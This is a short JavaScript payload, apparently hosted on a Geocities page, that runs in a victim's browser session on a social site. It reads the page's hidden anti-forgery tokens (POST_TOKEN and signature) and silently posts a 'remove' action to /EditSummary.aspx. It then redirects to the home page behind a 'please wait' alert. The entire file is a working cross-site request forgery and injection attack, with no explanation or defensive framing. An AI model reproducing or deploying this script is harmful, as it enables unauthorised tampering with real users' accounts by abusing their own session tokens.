function createXMLHttpRequest() { try { return new XMLHttpRequest; } catch (e) { try { return new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { try { return new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) { alert("Its navigating n \ xE3o possesss support \ xE0 technology AJAX!"); return false; } } } } var send="Action.remove=&POST_TOKEN="+encodeURIComponent(document.getElementsByTagName("input").POST_TOKEN.value)+"&signature="+encodeURIComponent(document.getElementsByTagName("input").signature.value); var xml = createXMLHttpRequest(); xml.open("POST", "/EditSummary.aspx", true); xml.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;"); xml.send(send); xml.onreadystatechange = function () { if (xml.readyState == 4) { if (xml.status == 200) { var xmlr = xml.responseText; window.location="Home.aspx"; } else { alert('There was a problem with the request.'); } } } alert("please wait.."); 1
Hosted by www.Geocities.ws